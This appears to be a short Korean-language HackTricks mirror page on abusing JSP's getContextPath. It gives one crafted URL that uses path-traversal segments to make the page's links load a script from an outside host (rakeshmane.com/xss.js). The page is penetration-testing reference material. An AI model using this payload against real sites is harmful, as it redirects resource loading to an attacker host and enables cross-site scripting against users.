mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
529 B
529 B
JSP
{{#include ../../banners/hacktricks-training.md}}
getContextPath 남용
정보는 여기에서 확인할 수 있습니다.
http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
해당 웹에 접근하면 모든 링크를 _rakeshmane.com_에 정보를 요청하도록 변경할 수 있습니다:
{{#include ../../banners/hacktricks-training.md}}